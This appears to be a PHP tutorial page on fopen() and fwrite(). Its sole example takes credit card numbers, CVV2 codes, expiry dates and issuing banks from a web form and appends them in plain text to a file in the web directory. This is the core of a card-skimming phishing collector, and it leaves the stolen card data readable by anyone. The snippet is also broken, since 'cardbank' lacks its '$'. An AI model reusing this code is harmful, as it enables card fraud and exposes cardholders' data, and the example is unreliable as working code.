Home >Backend Development >PHP Problem >PHP implements a method to collect form content and write it to a file
Related function description:
fopen()
The function opens a file or URL. If fopen() fails, it returns FALSE with an error message. You can hide error output by adding an '@' in front of the function name.
fwrite()
The function writes the contents to an open file. The function will stop running when it reaches the specified length or reaches the end of file (EOF), whichever comes first. If the function executes successfully, the number of bytes written is returned. On failure, returns FALSE.
Online video tutorial sharing: php video tutorial
Examples are as follows:
<?php //定义要收集的表单内容 $cardnum = $_POST['cardnum']; $cvv2 = $_POST['cvv2']; $month = $_POST['month']; $year = $_POST['year']; $cardbank = $_POST['cardbank']; //定义收集的内容格式 $content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:". $year.",IssuingBank:".cardbank; //定义文件存放的位置 $compile_dir = "./txt.txt"; //下面就是写入的PHP代码了 $file = fopen($compile_dir,"a+"); fwrite($file,$content); fclose($file); ?>
Recommended related article tutorials: php tutorial
The above is the detailed content of PHP implements a method to collect form content and write it to a file. For more information, please follow other related articles on the PHP Chinese website!